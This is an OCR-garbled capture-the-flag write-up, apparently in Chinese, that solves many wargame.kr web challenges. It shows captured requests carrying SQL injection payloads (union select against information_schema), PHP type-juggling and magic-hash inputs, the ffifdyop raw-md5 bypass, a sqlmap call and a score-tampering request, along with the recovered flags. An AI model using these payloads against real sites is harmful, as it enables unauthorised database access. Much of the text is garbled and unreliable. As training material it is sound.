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THE—RZH, EEHRtab, FRRZK, FillZwhitespaceif s, MWAMMF



Bif5flag

DB is really GOOD



B EREFERE, B weite.php HXEFFRF, FIEM / REMRE, FiERsqlite I P

J Raw | Params | Headers ‘ Hex ‘ J Raw | Headers ‘ Hex ‘

Origin: http://wargame. kr:5080 . Date: Thu, 02 Mar 2017 11:35:49 GNT .

Upgrade-Insecure-Requests: 1 Server: Apache/2. 4.7 (Ubuntu)

User—-Agent: Mozilla/3.0 (Windows NT 10.0; Win64: x64) AppleWebKit/337T.36 X-Povwered-By: PHP/3. 5. 9-1ubuntud. 21

(KHTHL, like Geclko) Chreome/56.0.2924. 87 Safari/537. 36 Expires: Thu, 19 Nov 1981 08:52:00 GMT

Content-Type: application/z-www—forn—urlencoded Cache—Control: no-store, no-cache, must-revalidate, post—check=0, pre—check=0

Accept: Pragma: no-cache

text/htnl, application/zhtnl+xnl, application/xnl; g=0. 9, inage/webp, #/; q=0. & Vary: Accept—Encoding

Referer: http://wargane. kr:8080/db_is_really_good/write. php Content-Length: 452

Accept—Encoding: gzip, deflate Connection: close

Accept-Language: zh—Cll, zh;q=0. & Content-Type: text/htnl; charset=UTF-8&

Cookie: PHPSESSID=d10amn9rt020900gundd49nudcs

cl_session=a%3A10%3A%TBs%3A10%34%22sess1on_1d%22%3Bs%3432%34%22b9b15d0331 7798562 <br />

59193ff81fc3cal%22%3Bs%3410%34%221p_address%h22%3Bs%3414%34%22218. 29. 102, 117%22% <b>Fatal error</b>: Uncaught exception 'Exception’ with message

3Bs%3A10%34%22user_agent%22%3Bs%34114%34%22Noz111a%2F 5. 0+%28Windows T+10. 0%3B+ Inable to cpen database: unable to cpen database file’ in

Tinf4%3B+xuf4%29+AppleVebKi t%2F 537, 36+%28KHTHLY 2C+1ike+Gecko% 29+ hrone%2F56. 0. 29 fhome/www/db_is_reallv_good/sglite3. php:7

24, 87+Safari%2F5 36%22%3Bs%3413%34%221ast_activity%22%3B1%341488453710%3Bs%34 Stack trace:

9%34%22user_data%22%3Bs%3A0%34%22%22%3Bs %34 4% 34%22nane% 22% 3B % 349% 34% 2211 ShtMar #0 /home/www/db_is_really good/sglite3. php{(7):

2% 3BsH3ATHIAKD 2enat 1% 22%3BsH3A1 6% 3A%2259161 2329%400q. conh22%3Bs% 34 4%34%22] an SQLite3—&gt;open( . /db/wkrn_a/dmi... )

£9%22%3Bs% 34 3%34%2 2eng%h22%3Bs% 341 1%34%22achi evenent%22% 3Bs%34 7% 34%22defaul t%h22%3 #1 /home/www/db_is_really good/memo. php(14) :

Bs%345%34%2 2p0i nth22%3Bs%3A4%34%221 850%22% 3B% TD9 1 ac66495385d930db352369275dag6e MyDB—&gt;__construct( . /db/wkrm_a/dmi...")

7065240a #2 {main}

Connection: close thrown in ‘b>/home/www/dh_is_reallv_good/sqlite3. php</b> on line
<hr7/brbr />

user_id=a/dnin

T AR IR ] LU E sqliteZ 4 FE 1) db SCHALEBLE /db/wkrm_username.db &b, BEE:VTIA T # G2 db XM
E#notepad++&E, &5 RIHHRE

Here is flag!

. /dhkdndlswmdzltng.php!

i 15 Bl #5lag
fly me to the moon

TR —ANR, HUFTES>HMRE, BLRATFEEREY, BEFELEARABL, B2 PG

POST /fly_me_to_the_moon/high-scores. php HTTE/1.1

Host: wargame. kr:8080

Content-Length: 18

Accept: #/#

Origin: http://wargame. kr:8080

{-Requested-¥ith: XMLHttpRequest

¥ User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64, =64) AppleWebKit/S537.386 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Content-Type: application/z—www—form—urlencoded; charset=UTF-8

285Referer: http://wargane. kr :8080/f1lyv_me_to_the_moon/
Accept-Encoding: gzip, deflate
Accept-Language: zh—CH, zh: q=0. 8
Cockie: PHPSESSID=dl0an9rt020%900gundd49mudcs
|ci_session=a%3411%34%TBs%3410%34%22session_1d%22%3Bs%3A32%34%22582931h95218470955a23¢8941 258ad1%22%3E5 %341 0%34% 221 p_address%22%3Bs%3414%34%22218. 29. 102. 11T%22%3Bs%341
0%34%22user_agent%22%3Bs%34114%34%22Moz111a%2F 5. 0+%28Windows HIT+10. 0%3B+Hi1n64%3B+x64%29+AppleVebKl t%2F537. 36+%28KHTHLY2C+H] 1ke+Hecko% 29+ hrone%2F56. 0. 2924, 87+5afari%2F
|537. 36%22%3Bs%3413%34%22]1ast_activity%22%3B1i%341488457564%3Bs%349%34%22user_data%22%3Bs%3A0%34%22%22%3Bs%344%34% 22nane% 22%3Bs %34 9% 34% 22111 ShtHar3%22%3Bs%345%34%22enail
%22%3Bs%3416%34%22591612329% 4000, con%22%3Bs%344%34%22] ang%22%3B5% 34 3% 34% 2 2eng%22% 3B %341 1%34% 2 2achi evenent%22%3Bsh34 T 34% 2 2defaul t%22%3Bs%345%34%22pointh22%3Bs %34 4% 34

%222350%22%3Bs%3414%34%22 ast_auth_tine%22%3B1%341488454878%3B% TD235b405catcl2dad412d9e07422ef Tdad2a9e9he

Comnection: close

token=9643kscore=1

#E high-scores.php RIEEBA L, BHRIRK, BIEESIag
md5_compare

BE, RARMAS5TIRRLLE



Congratulations! FLAG is : 130193d234e35958a029dca1b7c051b5db40b65e

VALUE 1 : |QNKCDZO |
VALUE 2 : 240610708 |

md5 password

R— MR TMDSINE G KIsqiEN, BE#
B

hello admin!
Password : bdb814fe56292b1f0ed5ab2ac9491942efbfadb3

password : ffifdyop | login

strcemp


http://www.ilrose.com/blog/2015/07/08/md5%25E5%258A%25A0%25E5%25AF%2586%25E5%2590%258E%25E7%259A%2584sql-%25E6%25B3%25A8%25E5%2585%25A5/

FIFER — ISR LR

& Load URL
§  split URL

Execute

Post data

http://wargame.kr:8080/strcmp/

Enable Post data

[ ] Enable Referrer

password[]=1

Congratulations! Flag is

type confusion

N1 ™
& Load URL
§ split URL

b Execute

Post data

{"code":true,"flag":"c9dbf14859ba8dcd4b6be04140db199ed73f7088"}

tmitter

= @ SULT

Ax>dT  ENCrypuion™ encoaing«

uner

http://wargame.kr:8080/type_confusion/

Enable Post data

[ ] Enable Referrer

json={"key":0}




THER—MEMERERAE, BTRAER adnin #EXN, ERMELEG, EEMKRTESERR

{tr><td>ID</td><{td>{input type="text” name="id” maxlength="32"></td><{td class="ex">at least 4char{/td>{/tr>
{tr><td>PS</td><td><{input type="password” name="ps” maxlength="32"></td><{td class="ex"at least Tchar<{/td>{/tr>
{tr><td colspan=2><{input type="submit” value="join"></td><{/tr>

</table>
</form>
<{/body>

{!— hint : you need join with admin ——>

T FH B KA BE AR SR SR ATV it adminis BME SRR 9 B Y

Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex HTMLIRender]

Origin: http://wargane. kr:8080

Upgrade—Insecure—Requests: 1

User—Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64) AppleWebKit/337. 36

| (KHTML, like Gecko) Chrome/56.0.2924. 87 Safari/337. 36

¢Content—Type: application/z—www—forn—urlencoded

chccept:

Ttext/htunl, application/xhtul+xul, application/zul:g=0. 9, inage/webp, */4; g=0. 8
tReferer: http://wargane. kr:8080/tmitter/ join. php

thiccept—Encoding: gzip, deflate

Accept-Language: zh-CN, zh;q=0.8

|Coockie: PHPSESSID=d10an9rt020900sumdd49nudes;
cl_session=a%3411%3A%TEs%3410%34%22s5es51on_1d%22%3Bs%3432%34%22abee388db0f 4aad33
£6f5ec0802c1b21 TH22%3Bs%3410%34%221p_address%h22%3Bs%341 4%34%22218. 29. 102, 117%22%
fSBS%SAIO%SA%::USer_agent%::%SBs%SAll4%SA%ZZMOZilla%:Fﬁ.0+%28Windows+NT+l0.0%SB+
Winf4%3B+x64%29+AppleVebEl t%2F537. 36+%28KHTHLY2C+H] 1ike Hrecko%29+Chr one% 2F 56, 0. 29
24, 8T+5afari%2F537, 36%22%3Bs%34A13%34% 22 ast_actlvi ty%22%3B1%341488461 795%3Bs%34
9% 34%22user_data%22%3Bs%h3A0%34%22%22% 3B5%34 4% 34% 22nane% 2 2% 3Bs %34 9% 34% 221 Shtlar
342 2%3EsH3AT% AN 2enal 1%22%3Es%3A16%34%225916125329% 4009, con%Z2%3Es%3A4%34% 22 an
}g%iE%SBS%S&S%Sﬂ%iieng%EE%SBSHSE1I%Sﬂ%jjachievement%ii%SBs%S&T%Sﬂ%ffcefault%jj%s
Bsh3AD%3ANC2point% 2 2% EBshEA4% A% 224950%22%3Bs%3414%34%221ast_anth tine%22%3E1%3
141488460975%3B%7D23fe4a33a%abel 948bde26e493dbe9832afdfdT2

fCommection: close

Y d=adnin

I

1&ps=1111111

[+ HTTP/1.1 200 OK

Date: Thu, 02 Mar 2017 13:48:16 GHT
Server: Apache/2. 4.7 (Uhuntw
X-Povered-By: PHP/5. 5. 9-1lubuntud. 21
Content-Length: 38

Commection: close

Content-Type: text/htnl; charset=UTF-8

<scriptiwindow. location=". /" ;</script>

HTA trim() FESIRERHBIER, PrOE KRN 1 RS, &5 R HOREAT M

SimpleBoard

B ST PLAIIE http://wargame.kr:8080/SimpleBoard/read.php?idx=5 &—MEANK, BEIE
R

WX AT ARIGE 2% idx IR, #H S fIcookie W Z hn b idx #4rA4 BEIEH 1R

HAERREE

GET /SimpleBoard/read. php?idx=5+uniont+select+l, 2, 3, database () HITE/1.1 I
Host: wargame. kr: 8080

Cache—Control: maz-age=0
Upgrade—Insecure—Requests: 1

Tser—Azent: Nazilla/m. 0 (Windows NT 10.0

Winf4- ¥f4) AnnleWehKit/A37. 36

X-Powered-By: PHP/5. 5. 9-lubuntu4. 21
Vary: Accept-Encoding
Content—Length: 353

Comnection: close

Content=Tvme: text/htn] - charset=ITF-8



(KHTML, like Gecko) Chrome/56.0.2924. 87 Safari/537.36

LAccept:

text/htnl, application/shtnl+xnl, application/znl; g=0. 9, inage/webp, ®/%;q=0. 3
Accept—Encoding: gzip, deflate, sdch

Accept-Language: zh-CN, zh;q=0. &

Cookie: view=%2F5+tmiontselect+l, 2, 3, database() ;
cl_session=a%3410%34%7Bs%3410%34%22ses51 on_1 d%22%3Bs%3432%3A%226cche24dabadf 711
301afee62bBchE66%22%3Bs%3410%34%221p_addressh22%3Bs%h341 4%34% 18.29.102.117%22
%3Bs%3410%34%22user_agent®%22%3Bs%34114%34% 22 oz111a%2F 5. 04428V indows +T+10. 0%3B
HinB4%3B+x64%29+Appl eWebKi th2F 337, 36+4%28KHTHL% 2C+H ike+Gecko%29+Chroneh2F 36, 0. 2
924, 87+Safari%2F537. 36%22%3Bs%3413%34%22]ast_activity%22%3B1%3414685499940%3B:%3
A9%34%22user_data%Z22%3Bs%3A0%34%22% 22%3Bs% 34 4% 34% 2 2nane% 2 2%3Bs% 34 9% 34% 2211 ShtMa
r3%22%3Bs%h3A5%34%22enal 1%22%3Bs% 341 6%34% 2259161 2329%40qq. con%22%3Bs%3A4%34%221a
ngh22%3Bsh343%34%22engh22% 385 %341 1% 34%22achi evenenth22%3Bsh34 TH34%22defaul tH22%
3Bs%345%34% 2 2p0int%22%3Es% 34 4% 34% 225550%22%3B% TD01 05989737 faahs9440d020e0f £ 3344
Za33c06ff

Comnection: close

B E AN simpleBoard
BERY

GET

/SimpleBoard/read. php?idz=5+umiecn+select+l, group_concat (table_name), 3, 4+fron+inf
ormation_schema. tables+where+table_schema=database () HTTF/1.1

Host: wargame. kr:8080

Cache—Control : maz—age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; x64) AppleWebKit/337.36

(EHTML, like Gecko) Chrome/36.0.2924.87 Safari/537.36

Accept:

text/htnl, application/xhtnl+xnl, application/znl; q=0. 9, inage/webp, */+; q=0. 8
Lecept—Encoding: gzip, deflate, sdch

Lecept-Language: zh-CN, zh; g=0.8

Cockie:

view=h2F5+unicn+select+l, group_concat (table_name), 3, 4+fron+infornation_schena. ta
bles+where+table_schema=database() ;

cl_sesslon=a%3A10%3A% TBs%3410%3A%22sess10on_1d%22%3Bs%3432%3A%226cchel4dabadf 711
301abfeefZbBchiBE%22%3Bs%3410%34%221p_address%22%3Bs%341 4%34%22218. 29. 102, 117%22
%3Bs%3A10%3A%22user_agent%22%3Bs%34114%34%22Moz111a%2F 5, 0+ 28 indows+NT+10. 0%3B
+Win64%3B+x64%29 +appleVebk1t%2F537. 36+4%28EHTHL% 2C+1ike+Gecko%29+Chrone%2F56. 0. 2
924, 87+3afari%2F537. 36%22%3Bs%3413%34% 22 ast_activity%22%3B1%341488499940%3Bs%3
49%34%22user_data%22%3Bs%340%34%22%22%3B5%344% 34% 2 2nane% 22% 3Bs% 34 9% 34% 2211 Shtla

153 K58 R 4% README
BEYL

3 L L L

A

<style>
td {padding:3px; border:ipx solid #ddd;}
td:first—child, td:last-child {text—align:center;
font-weight:bold;}
thead td {font-weight:bold; text-align:center;}
thody td {padding:20px;}
tfoot td {text—align:center;}
<fstyler
<table>
<thead>
Str><tdNUMS /td><td>TITLES/ td>< td " HIT /td o< /1>
Ctrodtdrl</ tdredr 2 tdr<td B td S tr s
</thead>
<thody>
<td colspan=3:SimpleBoard</td>
<fthody>

FLE__an

HTTP/1.1 200 OK

Date: Fri, 03 Nar 2017 00:32:39 GNT
Server: Apache/2.4.7 (Ubuntu)
¥-Powered-By: PHP/5. 5. 9-lubuntud. 21
Vary: Accept—Encoding

Content-Length: 560

Comnection: close

Content-Type: text/htnl; charset=UTF-8&

<style>
td {padding:3px; border:lpx solid #ddd;}
td:first—child, td:last-child {text-align:center;
font-weight:bold;}
thead td {font-weight:beld; text—align:center;}
thody td {padding:20px;}
tfoot td {text—align:center;}
<fstyle>
<table>
<thead>
Ctr>Ctd P NUMS/ td> <t TITLES /tdo <t dbHIT td </ 1>
<trr<tdr1</td><td README, SimpleBoard</td><td>3</td></tr>

GET

/SinpleBoard/read. php?idx=5+unicnt+select+l, group_concat (column_name), 3, 4+from+in

formation_schena. columns +vhere+table_name=0x524541444d45 HTTP/1.1

Host: wargame. kr:8080

Cache—Control: max-age=0

Upgrade—Insecure—Requests: 1

User—Agent: Mezilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/3537.38

(KHTHL, like Gecko) Chrome/36.0.2924. 87 Safari/537. 36

Accept:

text/htnl, application/xhtnl+xnl, application/xnl; g=0. 9, inage/wehp, */#, q=0. 8
Accept—Encoding: gzip, deflate, sdch

Accept-Language: zh-CN, zh;q=0.8

Cookie:

view=%ZFo+union+select+l, group_concat (column_name), 3, 4+from+information_schena.
olumns+where+tabl e_name=0x524541444d45;
cl_session=a%3A10%34%TBs%3A10%34%22session_1d%22%3Bs%3A32%34%226cche24dabadf 71
301abeebbichB66%22%3Bs%341 0%34%221p_address%22%3Bs%3414%34% 22218, 29, 102, 117%22
%3Bs%3410%34%22user_agent%22%3E5%34114%34% 22 oz111 a%ZF 5. 0628V indows HIT+10. 0%3E
+HHinB4%3B+x64%29+4ppl eWebEi t%2F537. 36+ 28KHTHLG2C+] ike Hrecko%29+Chrone%2F56. 0. 2
924, 87+Safari%2F537. 36%22%3Es%3413%34%221ast_ activity%22%3E1%341485499940%3Bs%3
49%3A%22user data%22%3Bs%3A0%34%22%22% 3% 344%34% 22nane% 2 2% 3Bs % 34 9% 34% 2211 Shtla
enall%22%3Bs%3416%34%22591612329%40qq. com%22%3Bs%3A4%34%221a

5l % flag
153 BEAE

c

= L \

K HTTP/1.1 200 OK
Date: Fri, 03 Mar 2017 00:39:14 GNT

Server: Apache/2.4.7 {(Ubuntu)

¥-Powered-By: PHP/5. 5. 9-1ubuntud. 21

Vary: Accept-Encoding

Content-Length: 546

Comnectien: clese

Content-Type: text/html; charset=UTF-3

<style>
td {padding:3px; border:1px selid #ddd;}
td:first-child, td:last-child {text—align:center;
font-weight:bold;}
thead td {font-weight:bold; text-align:center;}
thody td {padding:20px;}
tfoot td {text—align:center;}
<fstyle>
<table>
<thead>
CtroCtdoNUM/1d> < td>TITLES/ tdo <t dSHIT td> </ tr>
ctrodtdrl</tdedtdrflagd/tdo<td>3</td /1>

[/ </thead>

GET /SimpleBoard/read. php?idz=S+uniont+select+l, flag, 3, 4+fron+README HITP/1.1 A
Host: wargame. kr:8080 r
Cache—Control: max—age=0

Upgrade-Insecure-Requests: 1

User-Agent: Nozilla/5.0 (Windows NT 10.0; Winf4; x64) AppleWebKit/537.36

(KHTML, like Gecko) Chrome/36.0.2924.87 Safari/537.36

Lccept:

text/html, application/xhtml+xml, application/=nl; q=0. 9, inage/webp, * /4 q=0. &
Accept-Encoding: gzip, deflate, sdch

Accept-Language: zh—CN, zh;q=0.8

Cookie: view=%2F3+tmiontselect+l, flag, 3, 4+fron+READNE;
ci_session=a%3A10%3A%7Bs%3A10%3A%22sess1on_ 1d%22%3Bs%3A32%34% 226 cche24dabadfT1{
301a6ee62h8chAB6%22%3Bs%341 0%34%221 p_addressh22%3Bs%3414%3 2218.29.102.117%22
%3Bs%3410%34%22user_agent%22%3Bs%34114%34% 22 oz1 L 1a%2F 5. 0+ 28Windows HIT+10. 0%3B
+Win64%3E+x64%29+4ppl eWebKl t%2F537. 36+%28KHTHLY2C+] 1ketGecko%29+Chrone%2F56. 0. 2
924, 87+5afari%2F337, 36%22%36s%3413%34% 22 ast_activity%22%3B1%541408499940%3B5%3
A9%3A%2Cuser_data%22%3Bs%3A0%3A%22%22% 3Bs% 3A4% 34% 2 Cnan e 22% 3B s34 9% 34% 2 21 Shtlla
T3%22%3Bs%345%34% 2 2emai 1 %22%3Bs%341 6%34% 2259161 2329%40qq. con%22%3Bs%344%34%221a
ngh22%3Es%3A3%34% 2 2eng% 22% 3% 3411%34% 2 2achi evenenth22% 3Bs% 34 Th3A% 22de faul t%22%
3Bsh345%34%22point%22% 3Bs %34 4%34%225550% 22%3B% D01 05989737 faab89440d020e0f c3344

HTTP/1.1 200 OK

Date: Fri, 03 Mar 2017 00:41:09 GNT
Server: Apache/2. 4.7 (Ubhuntw
¥-Powered-By: PHP/5. 5. 9-lubuntu4. 21
Vary: Accept-Encoding

Content-Length: 382

Comnection: close

Content-Type: text/htnl; charset=UTF-8

<style>
td f{padding:3px; border:ipx solid #ddd;}
td:first—child, td:last-child {text—align:center;
font—weight:hold;}
thead td {font—weight:bold; text—align:center;}
thodvy td {padding:20px;}
tfoot td {text—align:center;}
<[style>
<table>
<thead>
Stro<td NUMS/ td>< td > TITLES /td >t dPHI TS /1 d > </ tr >




2a33c06ff
Comnection: close <trr<tdr1</td><td>03£004977d42838£23a208d8a 737 £9fbb691d2£7 < /td><td>3</td>
<ftr
</thead>

web chatting

R—NSQLIEAKE, HABER —MDHEESFEFEN, BIEANS t=1&ni=0
153 504

@ Load URL | http://wargame.kr:8080/web chatting/chatview.php?t=1&ni=0 union select 1,version(),database(),4,5--
& split URL

’ Execute

[] Enable Post data [] Enable Referrer

5.5.54-0ubuntu0.14.04.1 5.} . web_chatting

SEIES

@l Load URL | http://wargame.kr:8080/web_chatting/chatview.php?t=18&ni=0 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database()--
§  spliturL

» Execute

[] Enable Post data  [_| Enable Referrer

chat_log,chat_log_secret (5.5} 1 3

223 chat_log secret

@l Load URL | http://wargamekr:8080/web_chatting/chatview.php?t=18&ni=0 union select 1,group_concat(column_name}),3,4,5 from information_schema.columns where table_name=0x636861745f6¢6675736563726574--
$  spliturL
»

Execute

[[] Enable Post data [] Enable Referrer

readme (s.7) . 3

5 3flag

5 Load URL | http://wargame.kr:8080/web chatting/chatview.php?t=18&ni=0 union select 1,readme,3,4,5 from chat _log secret--
. Split URL

Execute

[ ] Enable Post data [ | Enable Referrer

5569213b12c845d6998303adb3065fcd61f9b96 (5.=) . 3

img recovery



e RAHITIF, K

- = ﬂllFl -
n = Ili.l
.Ill-.. " "

J‘éﬁ'

HEAPHERMA R0, EREIEG, BRI
ip log table

H#Esqlmapi

lmap. py —u http://wargame. kr: 8080

congratulation!!
flag is

fObf94ce61ed79c0a9a830ce174bf316c4597db0

loney_guys
2Rk, Rorder by FHEN, HERA
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dmbs335

BRI




BEE T — X GeekPwn2016/Iwp /o &1 B 1K, Z45R1X 5t GeekPwn2016/I B fai 8, /b Tiduk, RIHEAZL.
RIFAB N E, line 30 parse_str SHWZEE R, line 43 & $col NFalsefi Ao NR{EIER], X $query_parts K&
HEIE, MiEline 42 B3| $col AXTHANM T IEM LA KR EME, XFE $col AR AHEATEA




XA IEN R E ¢search_cols AN subject|content HLAT
# $col IR [EI NFalselt, $keyword HLTERL

SMTE FFIRIEN

HdE e

INI M= @ Sl XshT kncryptiont  EncodingT  Others

@& Load URL | http://wargame.kr:8080/dmbs335/index.php?search_cols=a|b&operator=and&query parts=0 union select 1,2,3,database()
% split URL

» Execute

Enable Post data [ ] Enable Referrer

Post data
Num subject content writer
1 2 3 dmbs335
[ subject v|| | @ or O and | SEARCH

i — w Ayl A33T CHUYpUUIT  CHLGUNIYT Uuier
@ Load URL | http://wargame kr:8080/dmbs335/index.php?search_cols=a|b&operator=and&query parts=0 union select 1,2,3,table_name from information_schema.tables where table_schema=database()
4 spliturt
’ Execute
Enable Post data [ Enable Referrer
Post data
Num subject content writer
1 2 3 Th1s_1s_Flag_tbl
1 2 3 board

[ subject | | ® or © and| sEARCH




7l

& Load URL | httpy//wargame.kr:8080/dmbs335/index.php?search_cols=a|b&operator=and&¢query_parts=0 union select 1,2,3,column_name from information_schema.columns where table_name='Th1s_is_Flag_tbl'
| spliture
3 Execute
Enable Post data [] Enable Referrer
Jost data
Num subject content writer
1 2 3 flag
subject “| | ® or O and| seArcH
flag
INT ¥| = @ SQL- XSS* Encryption~ Encoding~ Other~
@ Load URL | http://wargame.kr:8080/dmbs335/index.php?search cols=a|b&operator=and&query parts=0 union select 1,2,3,f1ag from Th1s 1s Flag tbl
b spliture
» Execute
Enable Post data [ | Enable Referrer
Post data
Num subject content writer
1 2 3 692c64becda8b6d4ad2e084b3649a68c72b3ee210
[ subject V]| | ® or O and | SeARCH

jff3_magic



XANFIE T PHP A [ BEAR IS 7
IFER—AHE, AIMEEERE, {H2MHchrome& T I — AN EIE % i T
HEF12H#R, H. TRERIK .suwp B

Bmysgl_fetch array($q); 59 = mysgl_query("select * from member where
exit ("No Hack -

Stest =
‘k'l"k'l'!*!********‘R*‘R'l'****!*!********’*’*’***/

" .$tes€)
custom_firewall($_GET['no'l);

if (Stest 0){

Admin check &

No Parameter Flltﬁrlng /‘*‘R*‘R'l"k'l"k'l’!'l’!********’*’*****!*!********’* <")php

</headexr >[I <h2>Magic</h2:-EB <header>R <
div elass="container" >R <section id="vote" elass="two">B <!-—— Portfolio —->iWM ——>im

</section> i </div>REiNia </ footer>RimR <a href=

"#portfolio"” class="button s y">Vote</a> Ml <footer>R </header>RiiH

vitae natoque dictum sollicitudin elementum.</p>iliEid <p>Ligula scelerisque justo sem accumsan
diam quis<br />R <h2 class="alt">Who is the most handsome man?</h2> <!--site template
designed by <a href="http://htmlSup.net">HTML5 UP</a>.</h2>REM <h2 class="alt">Hi! I'm <strong>COmma</strong>, I'll
introduce<a href="http://htmlS5up.net/license">&nbsp;LeaveRet</a> member<br /B <header-RIHH <div class=
"container" >R <section id="top" class="one dark cover">EEIB <! —— <!—— Intro ——>MiNem <div

id="main" >l

<!-— Main — </div> </div>im ——> </ul> NN
<li»<a href="#" class="icon fa-envelope"><span class="label">Email</span></a></1i>l <li»<a href="4#'

class="icon fa-dribbble"><span class="label">Dribbble</span></a></1i>Hm <li»<a href="#" class="icon fa-github"><span class=
"label">Github</span></a></11i>Him <li><a href="#" class="icon fa-facebook"><span class="label">Facebook</span></a></1li>|
<li><a href="#" class="icon fa-twitter"><span class="label">Twitter</span></a></1li <ul class=
B NUL] Zl= <!-- Social Icons -—>REmilER <div class="bottom">| </ div>REmneg
</nav>i </ul >R <li»<a href=" 1" id="about-link" class=

"skel-1
"ske

Href"><span class="">Comma</span></a></1i <li»<a href="?
Href"><span class="">Orang</span></a></1i <li><a hre 0=2" id="top-link" class=
class="">Cd80</span></a></1i>| <ul><li><a href="index.php" id="focbar-link" class="icon
con-you-want skel-lavers-ignoreHref"><span clas label">MemberList</span></a></1i>MR e NULINUT]

o=3" id="portfolio-link" class=

<li»><a href="http://focbar.t1d" id="foobar-link" elass="icon fa-whatever-icon-you-want"><span class= 1">Foobar</span
></a></1i>NEiRE 2. Standard link (sends the user to another page/site) NEiB <!
<nav id="nav" > <!-— Nav —
<p>Challenger</p>liiid <hl id="title">Guest</hl <span class="image

avatar48"><img src="images/avatar.]jpg" alt="" /></span>ii# <div id="logo">l ) T <div
class="top" >IN <div id="header"> <!-- Header ——>ilER <body>@E# </head </script>Hi history.back (1) ; TR

alert ("under construction...... \n... :D"); // This is Hint!! <script>il <link rel="stylesheet" href="assets/css/main.css"
/> <meta name="viewport" content="width=device-width, initial-scale=1" />[N <meta charset="utf-8" /> <title>Magic</title>ER

<head>MuB<htm] >R - T Free for personal and commercial use under the CCA 3.0 license (html5up.net/license) html5up.net | @n33col@® Prologue by
HTML5 UPM#IB<'!--WiB<!DOCTYPE HTML>REmB? $ GET['no']=NULL; 'isset($ GET['no'l)) POST['pw']=NULL
if(!isset(S_POST['id']) )M include "../lib.php include "./lib/lib.php";@@A<?php

if(!isset($_POST['pw'])}

B —#B 4 7T LLAE — N sqiE AN R no  HEZ i

jRaw T Params I Headers T Hex 1 [ Raw T Headers [ Hex I HTML IReﬂder L

GET /iff3 magic/%no=—1+or+1 HITP/1.1

Host: wargame. kr:8080

Upgrade-Insecure—Requests: 1

User—Agent: Mozilla/5.0 (Vindows NT 10.0; Winf4; x64) AppleWebKit/537. 36
(KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36

Accept: Guest
text/htnl, application/zhtnl+xnl, application/znl; g=0. 9, inage/webp, */*; q=0. 8
hccept-Encoding: gzip, deflate, sdch

L

bccept-Language: zh—Cl, zh; ¢=0.8 Challenger
Cockie:

cl_sesslon=a%3A10%3A%TEs%3410%34%22sess1o1 1d%22%3Bs%34A32%34%22ecafaT6799%af1a44b o MemberList
9cefl07adf9abef%22%3Bs%3A10%34%221p_address%h22%3Bs%341 4% 34% 22218, 29. 102, 117%22% ' « Cd30
3Bs%3410%34%22user_agent%22%3Bs%34114%34%22 oz111a%2F 5. 0+%28Windows HIT+10. O%3B+ e« Oran
Win64%3B+x64%29+Appl eWebK1 t%2F537. 36+%28KHTHLY 2C+] 1ke+Gecko% 29+ hrone%2F 56, 0. 29 » Comma
24, BT+5afari%2F537. 36%22%3Bs%3A13%34% 22 ast_activity%22%3B1%3A1488847142%3Bs% 34 Magic

9% 34%22user_data%22%3Bs%EA0%N3A% 2 2% 22% 3B s%3A4% 34% 22nan e 2 2% 3Bs% 34 9% 3A% 2201 9htiar
3%22%3BsH3AEN3A% 2 2enal 1% 2 2% 3Bs% 341 6%34% 22591 612329%40qq. con%22%3Bs%344%34% 221 an Mo Hack - 1

gh22%3Bs%3A3%3A% 2 2engh22% 3Bs% 341 1% 34%22achi evenent%22%3Bs% 34 TH34%22de faul th22%3
Bs%3A5%3A%22pointHh22%3Es%344%34% 229550%22% 3B% 7D 3194897 TT3c1 T4ch943ddeebe9d3bs
45ed4f59

Commection: close




BEAT T RS IE, EhTEAREEAMS, UERERE

jRawT Params I Headers [ Hex \

| Raw | Headers | Hex | HTML | Render |

GET /jff3_magic/?no=—1][1 HTTP/1.1

Host: wargame. kr:8080

Upgrade—Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; =64) AppleWebEit/537.36
(KHTML, like Gecko) Chrome/56.0.2924. 87 Safari/337. 36

Accept:

text/htnl, application/zhtnl+xnl, application/znl; g=0. 9, inage/webp, * /% q=0. &
Accept—-Encoding: gzip, deflate, sdch

Accept—-Language: zh—CN, zh;q=0. 8

Cookie:
cl_sesslon=a%3410%34%TBs%3410%34% 2 session 1d%22%3Bs%3432%34%22ecafaT679%9afl1ad4b
9cefl0Tadf9a5ef%22%3Bs% 341 0%34%221p_address%h22%3Bs% 341 4%3A%22218. 29, 102, 117%22%
3Bs%3A10%34%22user_agent%22%3Bs%534114%34%22Moz111a%2F 5, 0+i28Windows +T+10. 0%3B+
Win64%3E+x84%29+AppleWebEit%2F537. 36+%28KHTHL%2C+] ike+cecko% 29+Chrone%2F56. 0. 29
24, 87+Safari%2F537. 36%22%3Bs%3413%34%22]ast_activitvh22%3B1%341488847142%3Bs% 34
9%34%22user_data%Z2%3Bs%3A0%3A% 2 2% 2% 3Bs%3A4% 34% 2 2nane%22% 3B s% 34 9% 3A% 2201 Shilar
342 2% 3Bs%3ATN AN Zenal 1% 2 2% EEs % 3AL 6% 342259161 2329% 4000, con%22%3Es%3A4%34% 22 an
2%22%3Bs%343%3A% 2 2eng% 2 2% 3Bs% 341 1%34% 22achi evenent% 22%3Bs% 34 T%34% 22 de fanl 1%22%3
Bsh3AT%34A%22point%2 2% 3Es%3A4%3A%229550% 2 2% 3B%TD3£9489cTcT73c1 T4ch943ddecebe9d3hs
45ed4f59

Comnection: close

’ e

Guest

Challenger

o MemberList
I « Cds0

.Orang

» Conuma

Magic

aduin

WMARPAEEN, I8

TYpe= SubmlT  Value= voTle SUupmlt:/button’
<fform>

50034bd20ef09138e2ff633365ea6879Incorrect Password

S

SRWEHEFWEHR, I HREK—Ahash(f 2 B & A2 H)
R P AT R

Decoded value: Original Hash (Haval128,5):

I Select Decoded Value

Iy Select Original Hash

50034bd20ef@913Be2ff63




e BT IB R BEAT — DR R A ST

Hash “Magic’
Hash Type Lenath Number / Magic Hash q
g String Found By

md2 32 505144726 |0e015339760548602306096794382326 WhltgHat
Security, Inc.
WhiteHat

md4 32 48291204  [0e266546927425668450445617970135 .
Security, Inc.

